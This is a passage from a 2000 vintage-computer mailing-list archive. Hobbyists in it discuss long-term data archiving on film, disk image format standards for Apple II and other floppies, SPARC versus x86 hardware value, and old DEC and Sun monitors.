Zane From CLASSICCMP at trailing-edge.com Wed May 31 16:15:45 2000 From: CLASSICCMP at trailing-edge.com (CLASSICCMP@trailing-edge.com) Date: Sun Feb 27 18:52:11 2005 Subject: OT: Archiving data (LONG) Message-ID: <000531171545.20200d36@trailing-edge.com> >> I think mike was talking about storing data on photographic film, like >> many of the microfiche data storage systems already in use, but intended >> for direct computer reading. Many films will resolve 100 line pairs >> per millimeter; this directly translates to about 3.2 MBytes per >> square inch. >Yes, but how long can we expect the film to last? Decades, if processed sloppily, or centuries, if processed archivally. The availability and maintainability of the readout systems becomes, IMHO, the deciding factor. If the data is stored as human-readable text this isn't so much a problem, until languages change or are forgotten at least. Tim. From foo at siconic.com Wed May 31 15:26:54 2000 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 18:52:11 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: Message-ID: On Wed, 31 May 2000, Tony Duell wrote: > I see no reason not to keep the original disks. For one thing, they're a > backup of the archive. Maybe not a very good one, but still a possible > backup. For another thing, they might be of interest to historians (how > the disks of the period were made, how they were labelled, etc). I awlays keep the original diskettes, and always grab whatever original disks I find in thrift (charity) shops for the labelling and boxes. They are artifacts that represent the culture surrounding computing. My desire to archive the software is of course dervied from the knowledge that someday those disks will simply be interesting pieces of plastic: mere representations of the software they used to hold. On a somewhat related note, there's a great website--the Disk Sleeve Archive. Unfortunately, the URL I have for it is no longer valid? http://www.cyberden.com/sleeves/index.html > I'm not saying don't make the archive. I'm saying make the archive, look > after it, but keep the original disks _as well_. Then use those to run > the machine they were designed to run. If necessary, make a new disk from > the archived data (which doesn't damage the archive, of course). I see no problem using the original diskette for demonstration purposes. It's not like the data will stick around if you don't use it. But I'd still make a copy of the disk for general use. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From chris at mainecoon.com Wed May 31 16:26:49 2000 From: chris at mainecoon.com (Chris Kennedy) Date: Sun Feb 27 18:52:11 2005 Subject: SPARC machines wanted (was Re: Finds) References: <200005311431.KAA00695@bg-tc-ppp542.monmouth.com> <20000531142113.96331.qmail@hotmail.com> <4.3.2.7.2.20000531134400.00c31280@208.226.86.10> Message-ID: <39358399.908B9EC4@mainecoon.com> Chuck McManis wrote: > Ok, for all you surplus hounds out there, in my wish list are a > SPARCStation LX and a SPARCServer 1000 w/4 CPUs. I'm pretty sure they are > both 4m architecture although the former was a single CPU only. Actually, the SPARCserver 1000 is a 4d. It's on the "may no longer be supported in a future release" list in the Solaris 8 Hardware Supplement.... -- Chris Kennedy chris@mainecoon.com http://www.mainecoon.com PGP fingerprint: 4E99 10B6 7253 B048 6685 6CBC 55E1 20A3 108D AB97 From foo at siconic.com Wed May 31 15:34:17 2000 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 18:52:11 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: Message-ID: I just considered another bit of data that might be useful to store in the Archive Header. If one were to have to read the raw bytes off of a track due to some non-standard format, it would be helpful to know at what rate the disk drive that read the disk was spinning so that if and when that archive was used to re-create the original disk, the writing drive could be adjusted to match the speed at which it was read. This is pretty imperative. A quick test can be done before the disk is read to determine the RPM. Of course, having an optimally tuned drive would be recommended if one is to be serious about creating software archives for posterity. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From mcguire at neurotica.com Wed May 31 16:40:33 2000 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 18:52:11 2005 Subject: VAX-11? and some C64 stuff In-Reply-To: Re: VAX-11? and some C64 stuff (healyzh@aracnet.com) References: <14645.27401.814577.472922@phaduka.neurotica.com> <200005312025.NAA30819@shell1.aracnet.com> Message-ID: <14645.34513.984734.666519@phaduka.neurotica.com> On May 31, healyzh@aracnet.com wrote: > > The good thing, though, about using "original" DEC monitors on > > machines like those is that you can get a wonderfully HUGE tube with a > > deliriously tight dot pitch and fabulous video quality for next to > > nothing because they're fixed-frequency. > > > > The PeeCee world's inability to develop video systems that don't > > require changing sync rates every time the wind blows has afforded the > > Real Workstation world a wonderful advantage...a plethora of gorgeous, > > huge monitors that can be had for a song. :-) > > BUT, if you're short on Desktop space, one really nice 21" multisync monitor > is your best friend. Well, that, X-Windows, and a digital KVM switch. > Remember all those beautiful big monitors take up a lot of space, generate a > lot of heat, and weigh a lot. True...which is why I run *one* machine with a framebuffer...the one I sit in front of. Heavy use of telnet and the DISPLAY environment variable are my friends. :-) I mean, realistically...I'm ONE person, I sit in ONE chair at a time, I drink from ONE can of Mountain Dew at a time...why do I need more than one video system at a time? -Dave McGuire From foo at siconic.com Wed May 31 15:42:16 2000 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 18:52:11 2005 Subject: OT: Archiving data (LONG) In-Reply-To: <000531171545.20200d36@trailing-edge.com> Message-ID: On Wed, 31 May 2000 CLASSICCMP@trailing-edge.com wrote: > >Yes, but how long can we expect the film to last? > > Decades, if processed sloppily, or centuries, if processed archivally. > > The availability and maintainability of the readout systems becomes, IMHO, > the deciding factor. If the data is stored as human-readable text this > isn't so much a problem, until languages change or are forgotten at least. Sounds great, but how readily available is the process of film archiving to hobbyists, how easy is it to master, and how much does it cost? Unless the answers, in order, are extremely, extremely, very little, then keeping the archive on mirrored servers is still the best solution we currently have. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From eric at brouhaha.com Wed May 31 16:46:25 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:52:11 2005 Subject: VAX-11? and some C64 stuff In-Reply-To: <4.3.1.2.20000529215313.01e11220@kerberos.davies.net.au> (message from Huw Davies on Mon, 29 May 2000 21:54:20 +1000) References: <4.3.1.2.20000529215313.01e11220@kerberos.davies.net.au> Message-ID: <20000531214625.5683.qmail@brouhaha.com> Huw Davies wrote: > I'm assuming that the MA780 had four ports rather than the two > I'd assumed it had... Two ports were standard on the MA780, but it was expandable to four. From healyzh at aracnet.com Wed May 31 16:51:52 2000 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 18:52:11 2005 Subject: VAX-11? and some C64 stuff In-Reply-To: from "Mike Ford" at May 31, 2000 01:57:21 PM Message-ID: <200005312151.OAA10594@shell1.aracnet.com> > >BUT, if you're short on Desktop space, one really nice 21" multisync monitor > >is your best friend. Well, that, X-Windows, and a digital KVM switch. > >Remember all those beautiful big monitors take up a lot of space, generate a > >lot of heat, and weigh a lot. > > My 4 year old CTX 17" flaked out the other day, and my plan for a > replacement is a nice 3 or so year old Sun SVGA 21" with some sort of > second monitor, maybe a portrait or even a 21" greyscale (two monitors on a > mac, or more works seamlessly). > > Any opinions on the Sun 20D10 monitors? or a E20E? > > I also found a couple HP 1097C monitors I need to make a space for, but > can't use on the newer macs I don't think? (haven't tried my sync on green > adapter yet). The question would be what can you run with? ISTR, that some of those newer Sun monitors are quite friendly with PC's and Mac's. I've got my G4/450 on the BNC side of a 21" Viewsonic P815, and my 8500/180 on the VGA side of a Digital branded 17" (Trinitron Tube). I personally think the Trinitron Tubes look the best wonce you get used to the the two wires going through the picture you don't even notice them, and they seem sharper than my Viewsonic. The main thing I look for in a monitor is that it has both BNC and VGA inputs so I can easily/cheaply hook two computers up to it. Despite the fact I like Trinitron Tubes, I did not like the Sony 19-20" monitor that I had, as it made wierd popping noises. The most important consideration would be, if it will support the system you want to use it with. As for running a Dual Headed Mac, I'd love to! I've used dual headed Sun's and HP's and it rocks! I believe at least one list member is running a 9500 with 3 17" monitors! Zane From eric at brouhaha.com Wed May 31 16:52:48 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:52:11 2005 Subject: A moment of silence... In-Reply-To: <001401bfc9f3$abbeb020$de2c67cb@stmarks.pp.catholic.edu.au> (geoffrob@stmarks.pp.catholic.edu.au) References: <001401bfc9f3$abbeb020$de2c67cb@stmarks.pp.catholic.edu.au> Message-ID: <20000531215248.5729.qmail@brouhaha.com> Geoff Roberts wrote: > Time is more precious than money. Ask anyone over 40. Maybe so, but it usually takes one to make the other. That old Far Side strip with Einstein proving his new theory that time = money was not far off the mark. From eric at brouhaha.com Wed May 31 16:57:38 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:52:11 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: (message from Sellam Ismail on Mon, 29 May 2000 23:19:12 -0700 (PDT)) References: Message-ID: <20000531215738.5754.qmail@brouhaha.com> Sellam wrote: > Broderbund came out with an 18-sector format for the Apple ][, but in > order for the disk to be readble the first track is encoded as standard > 16-sector format. > > This 18-sector format provided two benefits: 1) increased storage space > and 2) a form of copy protection. On some later Infocom titles for the Apple ][ family, they went to two disk sides, and in order to maximize the amount of data on the second size (and hence minimize flipping), they went to *one* sector per track. This does away with the "wasted space" of intersector gaps. Where they screwed up, though, was in sticking to a single byte of XOR checksum over the entire "sector". The checksum scheme Apple used was arguably inadequate for 256-byte sectors; it was truly horrible for >5.5 Kbyte sectors. From healyzh at aracnet.com Wed May 31 17:08:33 2000 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 18:52:11 2005 Subject: Finds In-Reply-To: <20000531210909.38980.qmail@hotmail.com> from "Jason McBrien" at May 31, 2000 05:14:07 PM Message-ID: <200005312208.PAA13595@shell1.aracnet.com> I'm actually talking about the fact that for what a nice used Dual Processor Sparc 20 would cost I can go out and buy a far better NEW Dual Celeron system (probably a better PIII system, but I've not priced that). The going price for a Ultra 1 or a Dual Sparc 20 is going to be in the $600-1200 range, depending on the configuration (and if it includes a monitor). Sure an Ultra 80 Quad 450MHz would be nice, BUT what's the price performance to a top of the line Dual Pentium III or Quad Xeon? Also in both examples I'm talking about using *good* parts, not el'cheapo trash. At one point Sun's made sense. However, for home use, and in some/most cases for business use, they're a horrible value. You can get so much more for so much less that it isn't funny. Any idea how a 450Mhz Ultra2 CPU compares to something like a 700Mhz Pentium III? The main reason I can see to go with UltraSparc is if that's what the apps you need run on, or you need a 64-bit CPU today. Trust me, I've argued with myself a *lot* on this :^) The end result is both Sparc and x86 boxes will run Solaris, so unless you can get a *killer* deal on a very nice Sparc system you're going to be better off building a nice Celeron or Pentium III box to run it. Zane > I don't know, those Ultra 80 Quad 450MHz CPU Boxes look niiiiccceee. You're > right about the overall cost/performance ratio of the older hardware, but > you also have to take into consideration how stable the machines are. Take a > $100 low end SPARCStation and $100 of used pentium hardware. You'd probably > get a faster Pentium machine (Maybe a P-90) but take a close look at the > craftsmanship of the machine. Sun's run FOREVER, they just don't fail due to > shoddy hardware designs. Early Pentium designs were REALLY buggy, even the > later models had nasty bugs (f00f anyone?) I know several companies that > kept their 486 servers, even when they were terribly out of date, because > the 486 design had been battle tested for so many years. Keep in mind that > the performance in price/performance also includes multitasking and > stability concerns. > > > Well, I didn't just buy it for that, I got it when that's about what they > > were worth. The only reason I payed as much as I did was because of the > > SCSI S-Bus card in it. > > > > I *really* want a SS20 w/dual SM71's or SM81's, and something like 192MB > > RAM, but then I look at what I can get in an x86 box for that price and > just > > shake my head. I might like Sparcs, but x86 is the only platform Solaris > > makes sense on! > > > > Of course my dream Sparc would be a Dual Ultra 2 :^) > > > > Zane > From cmcmanis at mcmanis.com Wed May 31 17:15:11 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:52:11 2005 Subject: A moment of silence... In-Reply-To: <20000531215248.5729.qmail@brouhaha.com> References: <001401bfc9f3$abbeb020$de2c67cb@stmarks.pp.catholic.edu.au> <001401bfc9f3$abbeb020$de2c67cb@stmarks.pp.catholic.edu.au> Message-ID: <4.3.2.7.2.20000531151310.02b2e2b0@208.226.86.10> At 09:52 PM 5/31/00 +0000, Eric wrote: >That old Far Side strip with Einstein proving his new theory that >time = money was not far off the mark. I've found that they are quite interchangeable. You can nearly always exchange money for someone to do something that is otherwise occupying your time, you can nearly always achieve a goal by investing time and effort. --Chuck From CLASSICCMP at trailing-edge.com Wed May 31 17:12:58 2000 From: CLASSICCMP at trailing-edge.com (CLASSICCMP@trailing-edge.com) Date: Sun Feb 27 18:52:11 2005 Subject: OT: Archiving data (LONG) Message-ID: <000531181258.20200d36@trailing-edge.com> >> >Yes, but how long can we expect the film to last? >> >> Decades, if processed sloppily, or centuries, if processed archivally. > >Sounds great, but how readily available is the process of film archiving >to hobbyists, how easy is it to master, and how much does it cost? This isn't rocket science; archival-quality film processing has been studied for most of a century already. Anyone capable of following the Kodak (or Ilford, or Agfa) directions and who has a kitchen sink, about $25 for hardware, and about $10 for photo chemicals can do it. No, it isn't the point-and-click interface you're used to, but some of us actually enjoy mixing chemicals and processing film and paper by hand. -- Tim Shoppa Email: shoppa@trailing-edge.com Trailing Edge Technology WWW: http://www.trailing-edge.com/ 7328 Bradley Blvd Voice: 301-767-5917 Bethesda, MD, USA 20817 Fax: 301-767-5927 From eric at brouhaha.com Wed May 31 17:26:10 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:52:11 2005 Subject: OT: Archiving data (LONG) In-Reply-To: <20000531162912.88074.qmail@hotmail.com> (xds_sigma7@hotmail.com) References: <20000531162912.88074.qmail@hotmail.com> Message-ID: <20000531222610.5917.qmail@brouhaha.com> > Hmm what about microfiche? If you care about long-term archiving, don't store the microfiche in the boxes that have foam padding. The padding crumbles to dust or goo (as I'm sure most of us have seen inside old minicomputers and such). That wouldn't be so bad in and of itself, except that the foam residue actually *reacts* with the microfiche, rendering it unreadable. :-( From foo at siconic.com Wed May 31 16:29:39 2000 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 18:52:11 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <20000531215738.5754.qmail@brouhaha.com> Message-ID: On 31 May 2000, Eric Smith wrote: > On some later Infocom titles for the Apple ][ family, they went to two > disk sides, and in order to maximize the amount of data on the second > size (and hence minimize flipping), they went to *one* sector per track. > This does away with the "wasted space" of intersector gaps. Interesting. I never came across any of those. It probably also had the added advantage of allowing for very quick reads. Do you know of any specific titles that used such formatting? I probably have a few of the originals and I'd like to check it out. > Where they screwed up, though, was in sticking to a single byte of XOR > checksum over the entire "sector". The checksum scheme Apple used was > arguably inadequate for 256-byte sectors; it was truly horrible for > >5.5 Kbyte sectors. Truly. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From eric at brouhaha.com Wed May 31 17:31:13 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:52:11 2005 Subject: OT: Archiving data (LONG) In-Reply-To: (message from Sellam Ismail on Wed, 31 May 2000 11:59:24 -0700 (PDT)) References: Message-ID: <20000531223113.5944.qmail@brouhaha.com> Sellam wrote: > On the other hand, what happens when/if civilization falls into another > dark period (world war, nuclear holocaust, whatever-doomsday-scenario)? > Longevity of the medium becomes an issue if you have a bleak outlook for > our future. Nah, they'll be more interested in our grocery shopping lists. :-) Despite my concern for preserving computer history, I'm not trying to prepare anything to survive a nuclear holocaust. I don't think there's much point. IMHO, preserving the stuff is useful primarily if there *isn't* some major doomsday event. From eric at brouhaha.com Wed May 31 17:36:37 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:52:11 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: (ard@p850ug1.demon.co.uk) References: Message-ID: <20000531223637.5994.qmail@brouhaha.com> ard@p850ug1.demon.co.uk (Tony Duell) wrote: > And most people (I am not one, but) tend to _read_ unknown EPROMs in an > EPROM _programmer_. Most programmers have this facility, and it saves > them having to wire up ZIF sockets, a PSU, buffers back to I/O ports on a > host computer, etc. Which means that finger trouble, or a fault in the > programmer, could wipe the EPROM. Which is why I always used to leave my EPROM programmer set for a Vpp of 5V (back when devices used Vcc=5V and Vpp typically of 12.5V, 21V, or 25V). That way even if I accidentally told it to program, nothing would happen (unless the part was a 5V-only EEPROM). However, the more recent EPROM programmers I'm using don't have such an option. Anyhow, there are lots of ways to accidentally damage a part, even if you don't put it in an EPROM programmer and tell it to program. From eric at brouhaha.com Wed May 31 17:48:09 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:52:11 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: (message from Sellam Ismail on Wed, 31 May 2000 14:29:39 -0700 (PDT)) References: Message-ID: <20000531224809.6097.qmail@brouhaha.com> I wrote: > On some later Infocom titles for the Apple ][ family, they went to two > disk sides, and in order to maximize the amount of data on the second > size (and hence minimize flipping), they went to *one* sector per track. > This does away with the "wasted space" of intersector gaps. Sellam wrote: > Interesting. I never came across any of those. It probably also had the > added advantage of allowing for very quick reads. They did denibblize it on-the-fly, which normal RWTS did not. In that sense, since they sustained the equivalent of 1:1 interleave, it was pretty good. However, there was no reason why the same performance (but not density) couldn't be achieved with standard sectors. The Apple /// SOS disk driver pioneered this, and IIRC Prodos did it as well. > Do you know of any specific titles that used such formatting? I probably > have a few of the originals and I'd like to check it out. I'm not 100% certain, but it would be on later titles that used versions 5 and 6 of the Infocom virtual machine to support large game images. So it was probably used on Beyond Zork, among others. From foo at siconic.com Wed May 31 16:47:59 2000 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 18:52:11 2005 Subject: OT: Archiving data (LONG) In-Reply-To: <000531181258.20200d36@trailing-edge.com> Message-ID: On Wed, 31 May 2000 CLASSICCMP@trailing-edge.com wrote: > This isn't rocket science; archival-quality film processing has been > studied for most of a century already. Anyone capable of following the > Kodak (or Ilford, or Agfa) directions and who has a kitchen sink, about > $25 for hardware, and about $10 for photo chemicals can do it. No, > it isn't the point-and-click interface you're used to, but some of us > actually enjoy mixing chemicals and processing film and paper by hand. I'm not asking for point&click (I'm a CLI guy myself, thank you very much) but something a bit more convenient than having to pull out a microfiche reader and then figure out someway to transfer the data from a photograph to a computer. BTW, how does that get accomplished? I agree it's a great long term solution if you don't have to fall back on it very often. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From pete at dunnington.u-net.com Wed May 31 17:44:33 2000 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:52:11 2005 Subject: VAX-11? and some C64 stuff In-Reply-To: Dave McGuire "Re: VAX-11? and some C64 stuff" (May 31, 17:40) References: <14645.27401.814577.472922@phaduka.neurotica.com> <200005312025.NAA30819@shell1.aracnet.com> <14645.34513.984734.666519@phaduka.neurotica.com> Message-ID: <10005312344.ZM13055@indy.dunnington.u-net.com> On May 31, 17:40, Dave McGuire wrote: > I mean, realistically...I'm ONE person, I sit in ONE chair at a > time, I drink from ONE can of Mountain Dew at a time...why do I need > more than one video system at a time? Because you need a second one for all that modern "documentation" that only comes in detestable online form :-) -- Pete Peter Turnbull Dept. of Computer Science University of York From pete at dunnington.u-net.com Wed May 31 17:58:08 2000 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:52:11 2005 Subject: OT: Archiving data (LONG) In-Reply-To: Sellam Ismail "Re: OT: Archiving data (LONG)" (May 31, 13:42) References: Message-ID: <10005312358.ZM13061@indy.dunnington.u-net.com> On May 31, 13:42, Sellam Ismail wrote: > On Wed, 31 May 2000 CLASSICCMP@trailing-edge.com wrote: > > > >Yes, but how long can we expect the film to last? > > > > Decades, if processed sloppily, or centuries, if processed archivally. > > > > The availability and maintainability of the readout systems becomes, IMHO, > > the deciding factor. If the data is stored as human-readable text this > > isn't so much a problem, until languages change or are forgotten at least. > > Sounds great, but how readily available is the process of film archiving > to hobbyists, how easy is it to master, and how much does it cost? > > Unless the answers, in order, are extremely, extremely, very little, then > keeping the archive on mirrored servers is still the best solution we > currently have. Well, for monochrome film, which is essentially what Tim was talking about, the answers *are* "extremely, extremely, very little". What it amounts to is using reasonably pure water for the three[1] main processing solutions, making sure the fixing process is properly completed (and uses proper fixer, not a "stabiliser"), and that the film is finally washed thoroughly. [1] Assuming an ordinary silver-based emulsion, developer, stop-bath, and fixer; gold and platinum emulsions also exist, and there are common simple techniques to replace the developed silver image with a dye (typically less robust than the silver, though) or to make it combine with something else. Usually that's done to alter the colour or the contrast though, and isn't applicable to "line" film. -- Pete Peter Turnbull Dept. of Computer Science University of York From allisonp at world.std.com Wed May 31 16:48:30 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:11 2005 Subject: Finds Message-ID: <007601bfcb4c$e7f83660$7764c0d0@ajp166> >On May 31, Zane H. Healy wrote: >> Of course since I have a 60Mhz RS/6000 on my desk at work and refuse to >> give it up for a state of the art single or dual processor PC my opinions >> of acceptable speed might be a little outside the norm :^) Can it connect to the net and run a real IP stack (of course!). Do it run the require apps? Good enough. The criteria is does it do what I require of it, adaquately fast, with acceptable conectivity/compatability? Then again I run DOS, NT(on 486s) and VMS. Allison From allisonp at world.std.com Wed May 31 16:55:13 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:11 2005 Subject: VAX-11? and some C64 stuff Message-ID: <007701bfcb4c$e8c375a0$7764c0d0@ajp166> >On May 31, Jason McBrien wrote: >> First, there was the PDP/8 which came out in the sixties. It was a largish >> "Minicomputer" meaning it didn't fill a room like the IBM 360's, but you >> couldn't exactly toss it in a closet either. Then came the PDP/11, which was >> a bit smaller and 16-Bit in the seventies. Then came the VAX 11/750, >> Digital's first 32-Bit mainframe, in the late seventies/early eighties, and >> dominated the minicomputer market for quite a while. The first VAXes where >> large cabinet sized affairs, needing wacky 380V power mains and hard drives >> the size of a decent size car transmission. Then came the VAXStation 2000, >> which had almost all the power of a VAX 11/750 in a case the size of a >> largish shoebox. The home minicomputer was born. Through the eighties DEC >> still made the huge company-running VAX 7000's, 8000's, 9000's, and 10000's, >> but also made smaller workstation-style counterparts, the VAX 3100's, >> 4000's, MicroVAXes, VAXStations, and VAX-Servers. You can pick up a 3100 or >> 2000 for under $50 if you look hard. 4000's are nicer and run upwards $100. By 1971 a PDP-8 did fit nicely in a closet, small one at that. The VAX lineup was: 1978 1988 780----750---730---microvax-I---MicrovaxII---MV2000 None of the above require 380V 3phase your thinking of the 8650 and others. The 780 did require three phase but was not a bad deal and the 750 and 730 were 110V power. Allison From allisonp at world.std.com Wed May 31 17:04:41 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:11 2005 Subject: Defining Disk Image Dump Standard Message-ID: <007801bfcb4c$e98ba7a0$7764c0d0@ajp166> >I also like the inductive matrix ROM used in the HP9100. It works by the >coupling between 512 address tracks and 64 data loops in a 14 layer (?) >PCB. The PCB is about 4" square and stores 512 words, each one 64 bits >long. It is _very_ reliable -- 9100s are now about 30 years old, and >while I've had to replace transistors and diodes in them, I've never >heard of the ROM failing. I Gotta get me one of those, they are so likeable. Allison From pete at dunnington.u-net.com Wed May 31 18:06:34 2000 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:52:11 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: ard@p850ug1.demon.co.uk (Tony Duell) "Re: Defining Disk Image Dump Standard" (May 31, 19:12) References: Message-ID: <10006010006.ZM13074@indy.dunnington.u-net.com> On May 31, 19:12, Tony Duell wrote: > In any case, for the thime, we are discussing archive format to be > used to store images of these floppies. Store them on something other > than floppies. Like hard disks, CD-ROMs, EPROMs (if you insist!), etc. Can I encode mine on knotted string? My mother has a box with an *awful* lot of string. Should I use the thicker string for DD disk archives? -- Pete Peter Turnbull Dept. of Computer Science University of York From foo at siconic.com Wed May 31 17:06:36 2000 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 18:52:11 2005 Subject: OT: Archiving data (LONG) In-Reply-To: <20000531223113.5944.qmail@brouhaha.com> Message-ID: On 31 May 2000, Eric Smith wrote: > Sellam wrote: > > On the other hand, what happens when/if civilization falls into another > > dark period (world war, nuclear holocaust, whatever-doomsday-scenario)? > > Longevity of the medium becomes an issue if you have a bleak outlook for > > our future. > > Nah, they'll be more interested in our grocery shopping lists. :-) > > Despite my concern for preserving computer history, I'm not trying to > prepare anything to survive a nuclear holocaust. I don't think there's > much point. IMHO, preserving the stuff is useful primarily if there > *isn't* some major doomsday event. Don't you want to know if Atlantis really existed, and if so, what their scientists knew? I sure as hell do. I'd hate to think all of our incredible knowledge could be lost to future civilizations because we didn't think to take all the steps necessary to ensure survival of our history. If we aren't here to make sure our often amazing and sometimes abominable civilation lives on despite the worst of scenarios, then what are we here for? Granted this all sounds very noble and lofty, but it is where I'm coming from. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From foo at siconic.com Wed May 31 17:10:33 2000 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 18:52:11 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <20000531224809.6097.qmail@brouhaha.com> Message-ID: On 31 May 2000, Eric Smith wrote: > They did denibblize it on-the-fly, which normal RWTS did not. In that > sense, since they sustained the equivalent of 1:1 interleave, it was What encoding method did it use? 4&4 or 6&2? I'll assume 6&2? > pretty good. However, there was no reason why the same performance (but > not density) couldn't be achieved with standard sectors. The Apple /// > SOS disk driver pioneered this, and IIRC Prodos did it as well. Sure, read the raw track into a buffer in memory and then process it. The only drawback is the requirement for a relatively large buffer. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From pechter at pechter.dyndns.org Wed May 31 18:11:55 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:52:11 2005 Subject: Finds In-Reply-To: <200005312208.PAA13595@shell1.aracnet.com> from "healyzh@aracnet.com" at "May 31, 2000 03:08:33 pm" Message-ID: <200005312311.TAA01695@bg-tc-ppp903.monmouth.com> > > I'm actually talking about the fact that for what a nice used Dual Processor > Sparc 20 would cost I can go out and buy a far better NEW Dual Celeron system > (probably a better PIII system, but I've not priced that). The going price > for a Ultra 1 or a Dual Sparc 20 is going to be in the $600-1200 range, > depending on the configuration (and if it includes a monitor). > > At one point Sun's made sense. However, for home use, and in some/most cases > for business use, they're a horrible value. You can get so much more for so > much less that it isn't funny. Any idea how a 450Mhz Ultra2 CPU compares to > something like a 700Mhz Pentium III? The main reason I can see to go with > UltraSparc is if that's what the apps you need run on, or you need a 64-bit > CPU today. > > Trust me, I've argued with myself a *lot* on this :^) The end result is > both Sparc and x86 boxes will run Solaris, so unless you can get a *killer* > deal on a very nice Sparc system you're going to be better off building a > nice Celeron or Pentium III box to run it. > > Zane Well, the x86 Solaris doesn't seem as solid as the Sparc version... (at least at v7... I haven't run v8 yet at home). And if you support Solaris Sparc at work a home system for a testbed is a good thing. And yes, you can't kill Sparc machines or AIX boxes or VaxStations like you can cheap PC's... although the Seagate in my main Sparcstation20 departmental server did blow chunks on Friday. The 2gb'cuda sounded like a metal lathe. > > > > > > > > Zane Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From pechter at pechter.dyndns.org Wed May 31 18:19:12 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:52:11 2005 Subject: Sparc find In-Reply-To: <20000531175348.72063.qmail@hotmail.com> from Jason McBrien at "May 31, 2000 01:58:41 pm" Message-ID: <200005312319.TAA01792@bg-tc-ppp903.monmouth.com> > Yeah, a SPARC10 will run Solaris 8, but I wouldn't even consider running CDE > on it. My friend runs a SPARCStation 5 (a newer machine) and says it's > almost unusuable, he's gonna slide back to 2.6. I picked this stuff up from > the University of Michigan Property Disposition, or "The Mad Wolverine's > Computer Emporium" where they price equipment using some sort of roulette > wheel as far as I can tell. Quadra 950? $300. RA-82 Hard drive? $1. They've > got a boatload of older Cisco routers right now (IGS, AGS+) for around $50 > if someone is in the area and needs one. Slick. Too bad it's not local. Rutgers used to do the same stuff, back in the PDP days. > > And yes, my girlfriend knows what a SPARCStation 5 is, and can program PERL > in her sleep. Ah, bliss.... Not bad. My wife does Unix admin -- but she's not a Perl whiz --but she does a pretty good webmistress job... > Now if she only understood why a quarter of the basement is taken up by > machines almost older than we are... > Well, my wife would settle with a quarter of the basement and half the garage. The disposal sale -- all items must go will begin shortly. If I can't find the stuff homes they'll hit the trash. Bill From mrdos at swbell.net Wed May 31 18:27:31 2000 From: mrdos at swbell.net (Owen Robertson) Date: Sun Feb 27 18:52:11 2005 Subject: IBM I/O Selectric/Posting Machine (Was RE: Atari 800 keyboards) Message-ID: <007601bfcb57$cbed8f00$b5703ed8@compaq> How much do you want for it, and where is it? It sounds neat. >God, the dynatyper, I remember that... > >On a related note, I have an old I/O Selectric, not the generalized >model, but one that appears to have been a teller terminal of some >kind. Perhaps it was even used by a vehicle license branch. > >Anyway, I never could get it to function with the IBM controller >that came with it (which I think put out EBCDIC), but it also came >with an aftermarket controller (which I think put out ASCII). > >If anyone has been searching high and low for one of these, I'd >probably let go of it for the right price or trade. > >Shipping will be a killer, tho; it's very heavy. > >-doug q > > From foo at siconic.com Wed May 31 17:24:52 2000 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 18:52:11 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <10006010006.ZM13074@indy.dunnington.u-net.com> Message-ID: On Wed, 31 May 2000, Pete Turnbull wrote: > > In any case, for the thime, we are discussing archive format to be > > used to store images of these floppies. Store them on something other > > than floppies. Like hard disks, CD-ROMs, EPROMs (if you 